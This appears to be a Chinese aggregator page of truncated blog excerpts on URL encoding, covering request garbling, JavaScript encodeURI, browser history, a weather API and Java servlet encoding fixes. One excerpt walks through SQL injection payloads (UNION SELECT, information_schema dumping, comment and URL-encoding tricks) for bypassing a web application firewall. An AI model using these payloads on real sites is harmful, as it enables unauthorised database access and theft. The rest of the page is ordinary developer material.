url编码

URL编码以及GET和POST提交乱码解决方案

走远了吗. 提交于 2020-05-02 01:26:51
1. 什么是URL编码。 URL编码是一种浏览器用来打包表单输入的格式,浏览器从表单中获取所有的name和其对应的value,将他们以name/value编码方式作为URL的一部分或者分离的发送到服务器上。 2. URL编码规则。 每对name/value由&分开,每对来自表单的name/value用=分开。如果用户没有输入值的那个name依旧会出现不过就是没有值。 URL编码是在字符ASCII码的十六进制数的前面加上%。例如\(她的十六进制数表示为5c)的URL编码就是%5c。 3. 简单介绍乱码和http请求 其实做web开发乱码问题是经常出现的,有了上面编码的基础之后下面来看看乱码。 1) 乱码问题是web开发过程中经常遇到的问题,主要原因就是URL中使用了非ASCII码造成服务器后台程序解析出现乱码的问题。 2) URL中最容易出现中文的地方就是在QueryString的参数值还有Servletpath中。 3) 简单用一个图来说明一下http请求的流程: 第一步:浏览器把URL经过编码送给服务器; 第二步:服务器把这些请求解码处理完毕之后将显示的内容进行编码发送给客户端浏览器; 第三步:浏览器按照指定的编码显示网页 大家不要忘了,Nginx里面还有一个编码。。。。。。本人就遇到这个问题了。。折腾了好久。nginx会自动将get请求中的中文进行utf-8编码

WAF绕过方法之URL编码

二次信任 提交于 2020-03-31 23:52:08
(1)SQL注入点 contents.php?id=3 (2)字段数 contents.php?id=3 order by 4 (3)显示位数4 contents.php?id=3 union select 1,2,3,4 正常 (4)爆出用户名,数据库,版本号 contents.php?id=3 UNION select 1,2,3,contents.php?id=3 UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) 出现问题 (5)爆表 contents.php?id=3 UNION SELECT 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() 尝试绕过不成功 contents.php?id=3 /*!12345UNION*/ /*!12345SELECT*/ 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() (6)使用URL编码成功绕过(t经过URL编码后为%74) contents.php?id=3 UNION

javascript进行url转义方法比较escape、encodeURI和encodeURIComponent

不羁岁月 提交于 2020-03-30 18:21:51
escape会将除了 ASCII 字母、数字和特定的符号(* @ - _ + . /)以外的字符全部进行转义编码,因此如果想对URL编码,最好不要使用此方法,因为它会让你的URL变的不可读。 提示: ECMAScript v3 反对使用该方法,应用使用 decodeURI() 和 decodeURIComponent() 替代它。 encodeURI用于编码整个URI,该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( ) 。 该方法的目的是对 URI 进行完整的编码,因此对以下在 URI 中具有特殊含义的 ASCII 标点符号,encodeURI() 函数是不会进行转义的:;/?:@&=+$,# 提示: 如果 URI 组件中含有分隔符,比如 ? 和 #,则应当使用 encodeURIComponent() 方法分别对各组件进行编码。 example encodeURI("http://www.w3school.com.cn") encodeURI("http://www.w3school.com.cn/My first/") encodeURI(",/?:@&=+$#") // http://www.w3school.com.cn // http://www.w3school.com.cn/My

浏览器根对象window之history

 ̄綄美尐妖づ 提交于 2020-03-30 12:11:31
1. history(H5) Window.history保存用户在一个会话期间的网站访问记录,用户每次访问一个新的URL即创建一个新的历史记录。 1.1 length 返回浏览器历史列表中的 URL 数量。 1.2 scrollRestoration[H5] 目前(2018.01)这是一个实验性的API,请勿在生产环境中使用它。 History API:ScrollRestoration 允许Web应用程序在历史导航上显式地设置默认滚动恢复行为。此属性可以是自动的(auto)或者手动的(manual)。 1.3 state 该参数与pushState和replaceState配合使用,它始终表示当前页面(使用pushState或replaceState创建的)的state状态值。 1.4 go/back/forward history.back()和history.forward()分别表示向后一页和向前一页。 history.go(num)表示向前或向后翻多少页,num为正数表示向前翻,为负数则向后翻。 history.back()等价于history.go(-1),history.forward()等价于history.go(1)。 执行这三个中的任一方法,触发浏览器的popstate事件,如果只是hash部分发生变化,还可能同时触发hashchange事件。 1.5

[iOS开发]如何获取天气状态

六月ゝ 毕业季﹏ 提交于 2020-03-28 02:23:25
在ios开发中获取天气情况,主要的方法是调用一些公开的url从网络上获取相关天气数据,拿到数据之后进行xml或者json解析,拿到自己关心的内容,我搜到资料,有两种方法: 方法1: #define WEATHER_SERVICE_URL @ "http://www.weather.com.cn/data/cityinfo/[城市编码].html" 把[城市编码]替换成自己想查询的城市编码,然后进行url请求即可得到相关数据,收到的是json数据 目前暂时没有找到如果根据城市名称来获取城市编码,如果有知道的希望不吝赐教,以下是部分城市的城市编码: 北京:101010100朝阳:101010300顺义:101010400怀柔:101010500通州:101010600昌平:101010700延庆:101010800丰台:101010900石景山:101011000大兴:101011100房山:101011200密云:101011300 门头沟:101011400平谷:101011500八达岭:101011600佛爷顶:101011700汤河口:101011800密云上甸子:101011900斋堂:101012000霞云岭:101012100北京城区:101012200海淀:101010200天津:101030100宝坻:101030300东丽:101030400西青

url中向后台传递中文乱码解决方法

寵の児 提交于 2020-03-25 21:40:20
方法一: 1、jsp中代码   var userNo = $('#prisoner_id').val(); userNo = encodeURI(userNo); allPrisonerGrid.datagrid('options').url = 'mobilemanage!allPrisonerPage.action?test=' + userNo; allPrisonerGrid.datagrid('reload'); 2、action中代码   String userNo = "";   try {   userNo = URLDecoder.decode(request.getParameter("test"),"utf-8");   if(!"".equals(userNo)){ mobileManage.setUserNo(userNo); } } catch (UnsupportedEncodingException e) {     e.printStackTrace(); } 方法二: 假设我们页面中拥有一个输入框、一个提交按钮,当我们点击提交按钮时获取输入框中用户输入的值,然后利用URL传递参数的方式,将输入框的值传递到后台。我们假设后台对应web层处理技术使用Struts2的Action进行数据处理,假设Action中处理数据的URL为/say

maven 设置 编码 ,jdk 版本

落花浮王杯 提交于 2020-03-22 04:44:30
<profile> <id>jdk1.8</id> <activation> <activeByDefault>true</activeByDefault> <jdk>1.8</jdk> </activation> <properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion> <encoding>UTF-8</encoding> </properties> <repositories> <repository> <id>local-nexus</id> <url>http://localhost:8081/nexus/content/groups/public/</url> <releases> <enabled>true</enabled> </releases> <snapshots> <enabled>true</enabled> </snapshots> </repository> <repository> <id>wso2</id> <url>http://dist

九:Decorator设计模式

假如想象 提交于 2020-03-21 04:39:26
二、使用Decorator设计模式增强request对象   Servlet API 中提供了一个request对象的Decorator设计模式的默认实现类HttpServletRequestWrapper,HttpServletRequestWrapper 类实现了request 接口中的所有方法,但这些方法的内部实现都是仅仅调用了一下所包装的的 request 对象的对应方法,以避免用户在对request对象进行增强时需要实现request接口中的所有方法。 2.1、使用Decorator模式包装request对象解决get和post请求方式下的中文乱码问题   编写一个用于处理中文乱码的过滤器CharacterEncodingFilter,代码如下: package me.gacl.web.filter; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse;

第一部分:地域维度标准化

泪湿孤枕 提交于 2020-03-12 22:23:22
正在更新数据库,但是今日限额到了,api接口不能用了,数据表只更新了一半。 期间遇到了很多问题,经过问同学,和查资料解决了。 上一篇博客的获取单个地址比较好用,批量获取的时候就不太行了。 这是地域与行政代码的截图: 主要代码: 获取经纬度: def JingWei(address): global lat, lng # 产生sn码 queryStr = "/geocoding/v3/?address=" + address + '&output=json&ak=' + MyAK encodedStr = urllib.parse.quote(queryStr, safe="/:=&?#+!$,;'@()*[]") rawStr = encodedStr + MySK sn = (hashlib.md5(urllib.parse.quote_plus(rawStr).encode("utf8")).hexdigest()) # 生成url url = urllib.parse.quote("http://api.map.baidu.com" + queryStr + "&sn=" + sn, safe="/:=&?#+!$,;'@()*[]") #print('Retrieving', url) # 从API读取数据 uh = urllib.request.urlopen(url)

C#模拟POST表单提交 --- WebClient

佐手、 提交于 2020-03-05 10:51:29
C#模拟POST表单提交 --- WebClient string postString = "arg1=a&arg2=b";//这里即为传递的参数,可以用工具抓包分析,也可以自己分析,主要是form里面每一个name都要加进来 byte[] postData = Encoding.UTF8.GetBytes(postString);//编码,尤其是汉字,事先要看下抓取网页的编码方式 string url = "http://localhost/register.php";//地址 WebClient webClient = new WebClient(); webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");//采取POST方式必须加的header,如果改为GET方式的话就去掉这句话即可 byte[] responseData = webClient.UploadData(url, "POST", postData);//得到返回字符流 string srcString = Encoding.UTF8.GetString(responseData);//解码 来源: CSDN 作者: HOLD ON! 链接: https://blog.csdn.net/cxu123321